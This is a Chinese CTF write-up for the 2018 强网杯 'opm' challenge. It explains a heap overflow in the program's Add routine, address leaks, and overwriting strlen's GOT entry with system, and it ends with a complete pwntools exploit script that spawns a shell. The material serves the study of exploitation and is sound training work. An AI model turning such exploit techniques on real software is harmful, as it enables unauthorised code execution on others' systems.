强网杯 2018 opm
强网杯 2018 opm
前言
这篇
WP
是强网杯过去了很久之后才出的, 参考的是极目楚天舒师傅的博客, 这位师傅是一位CTF老赛手
, 最近复出.由于图片中不能CTRL+F
出文字, 本文章尽量避免使用图片, 除非必要.
程序运行
1. menu
You were invited to beat one punch man!
(A)dd a new role
(S)how all roles
(E)xit
2. Add
A
Your name:
Bill
N punch?
128
<Bill> said he can kill the boss with 80 punches
3. Show
<Bill> said he can kill the boss with 80 punches
You were invited to beat one punch man!
4. Exit
E(退出)
程序分析
0.结构体
struct node{char (*print)(struct node n) ; //函数指针char* name;int name_number;int punch;
};
2. 分析
这道题没有用到什么高深的堆分配和释放的知识, 就一个词溢出.
IDA F5
之后, 发现Add
过程存在一个溢出漏洞,s
的下一个位置就是与node
结构体相关的地址.
3. 总体思路
泄露堆地址, 泄露
got
地址, 泄露strlen
真实地址, 修改got表
中strlen
项内容为system
, 发送/bin/sh\x00
.
过程
1. leak heap
add("A"*0x70, 9)
add("B"*0x80 + "\xf0", 9) #修改
'''
0x7ffff7fcd700: 0x0000000000000000 0x0000000000000000
0x7ffff7fcd710: 0x000055c56a558cd0(正确地址)
修改之后
0x7ffff7fcd700: 0x4242424242424242 0x4242424242424242
0x7ffff7fcd710: 0x000055c56a5500f0(一块可写区域)
...... 程序将一些信息写入此处
0x55c56a5500f0: 0x0000000000000000 0x000055c56a558d00 <--
0x55c56a550100: 0x0000000000000081 0x0000000000000009 |
''' |
add("C"*0x80, "D"*0x80 + "\xf0") #leak |
''' |
修改 |
0x7ffff7fcd700: 0x4343434343434343 0x4343434343434343 |
0x7ffff7fcd710: 0x000055c56a558d00 --> 'C'*0x80造成 ||
程序将新malloc的地址写入0x55c56a558d00 |
0x55c56a558d00: 0x4242424242424242 0x000055c56a558dc0 |
0x55c56a558d10: 0x0000000000000080 0x4242424242424242 ||
打印("D"*0x80 + "\xf0"), 此时的0x55c56a5500f0还是 --------'''
结论: 泄露地址无非就是将地址放入可输入的部分, 然后执行输出函数.
2. leak function
add("d" *0x18 + p64(heap + 0x90), '131425' + "F"*0x7a + p64(heap + 0xd0))
'''
"d" *0x18 + p64(heap + 0x90) 如下效果
0x7ffff7fcd690: 0x6464646464646464 0x6464646464646464
0x7ffff7fcd6a0: 0x6464646464646464 0x000055c56a558e50 ---
...... |-----> 二者必须相同
0x7ffff7fcd700: 0x4444444444444444 0x4444444444444444 |
0x7ffff7fcd710: 0x000055c56a558e50 ----------------------'''
#'131425' + "F"*0x7a + p64(heap + 0xd0) 如下效果
结论: 131425
是为了防止top chunk
被赋值为0.
3. leak strlen address
add("d"*0x18 + p64(strlen_got), "131329" + "F"*0x7a + p64(heap + 0x130))
小结: 理解了上一步leak function
, 这一步原理同上.
4. modify strlen@got
add("Bill", str(system_addr & 0xffffffff).ljust(0x80, "G") + p64(strlen_got-0x18))
小结: 看似程序中没有写入功能, 实际上是存在写入的功能的. 就是punch
大小的读入, 我们可以写入system
真实地址的后四个字节,前几个字节都一样, 而且我们也只能写入四个字节.
The Whole EXP
from pwn import *p = process("./opm")
elf = ELF("./opm")
libc = ELF("./opm")context.log_level = 'debug'def add(name, number):p.recvuntil("(E)xit\n")p.sendline("A")p.recvuntil("Your name:\n")p.sendline(name)p.recvuntil("N punch?\n")p.sendline(str(number))def show():p.recvuntil("(E)xit\n")p.sendline("S")def quit():p.recvuntil("(E)xit\n")p.sendline("E")#part one: leak heap
add("A"*0x70, 9)
gdb.attach(p)
add("B"*0x80 + "\xf0", 9)
add("C"*0x80, "D"*0x80 + "\xf0")
heap = u64(p.recv(15)[9:].ljust(8, "\x00"))
log.info("heap: %s" % hex(heap))#part two: leak function ptr
add("d" *0x18 + p64(heap + 0x90), '131425' + "F"*0x7a + p64(heap + 0xd0))
func_ptr = u64(p.recv(7)[1:].ljust(8, "\x00"))
log.info("function_ptr: %s" % hex(func_ptr))#part three: leak strlen real address
base = func_ptr - 0xb30
strlen_got = base + elf.got['strlen']
gdb.attach(p)
add("d"*0x18 + p64(strlen_got), "131329" + "F"*0x7a + p64(heap + 0x130))
strlen = u64(p.recv(7)[1:].ljust(8, "\x00"))
log.info("real strlen: %s" % hex(strlen))#part four: modify strlen got
system_addr = strlen - 0x46390
log.info("system: %s" % hex(system_addr))
gdb.attach(p)
add("Bill", str(system_addr & 0xffffffff).ljust(0x80, "G") + p64(strlen_got-0x18))
add("/bin/sh\x00", 8)
p.interactive()
Related Link
极目楚天舒
文件下载
强网杯 2018 opm相关推荐
- 强网杯2018 - nextrsa - Writeup
强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...
- 2018强网杯之opm
0x01程序分析 程序开启了PIE,说明got表和plt表位置需要通过泄露得到. 题目一共可以存放下标为0-9一共10个role,游全局变量0x202130存放.Add函数添加role的管理结构,并将 ...
- 强网杯2018逆向 hide lebel:linux脱壳 / create function / mmap / XTEA变形 / 大小端
参考: https://bbs.pediy.com/thread-251371.htm qiutruth@qiutruth-virtual-machine:~$ ps -ef | grep hideq ...
- 2019强网杯crypto writeup
本次write包含以下题目 copperstudy randomstudy 强网先锋-辅助 copperstudy 题目描述 nc 119.3.245.36 12345 连上去返回 [+]proof: ...
- 第二届全国强网杯Web 题three hit学习心得(伪write up)
前言:本人CTF-WEB入门,有参赛,赛后参考了很多write up想解出此题,无奈理解能力有限,看不懂很多大佬的思路,最后看 酷辣虫上的一篇大佬write up才弄明白. 现将学习心得总结如下,说得 ...
- 强网杯2018_core
强网杯2018_core 具体可以看z1r0's blog 题目拿到手就是一个tar包.解压 ➜ 2018强网杯-core tar -xvf core_give.tar give_to_player/ ...
- php upload ctf,强网杯CTF防御赛ez_upload Writeup
这是强网杯拟态防御线下赛遇到的web题目,本来是不打算分享Writeup的,但是由于问的人很多,于是这里分享给大家. ez_upload这题算是非常经典的堆叠black trick的题目,算是比较典型 ...
- 强网杯2019 Copperstudy
强网杯2019 Copperstudy 靶机:node4.buuoj.cn:29678 第一次见靶机的题,找题目找了半天
- [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master
强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...
最新文章
- 爱好历史的程序员,不容错过!
- 目标检测中的数据格式转换工具Roboflow
- PL/SQL学习笔记-循环控制与顺序控制
- 最专业的业余数学家!
- B树与B+树【转载】
- vue-cli新建工程后提高页面加载速度(含升级webpack4)
- 51Nod-1010 只包含因子2 3 5的数【打表+排序+二分搜索】
- python一只青蛙一次可以_40.细说递归之二:Python求解斐波那契数列
- 服务器linux命令aux,Linux查看所有进程ps -aux命令介绍
- 标准c++读写ini文件类
- 技术状态管理计划-模板
- QT项目六:简易客户信息管理系统
- java服务器接收coap协议数据_CoAP协议-以Java为例的Californium初步实现
- Windows XP的图标结构
- PhalApi2.x笔记
- form-making爬坑笔记(jeecg项目替换表单设计器)
- [CF505E]Mr. Kitayuta vs. Bamboos/[海军国际项目办公室]迷途竹林
- 《机器学习》周志华 学习笔记
- 黄灯闪烁c语言程序,交通灯控制程序 需要加一个黄灯闪烁三次 求求大神
- js 导出excel,设置下载的标题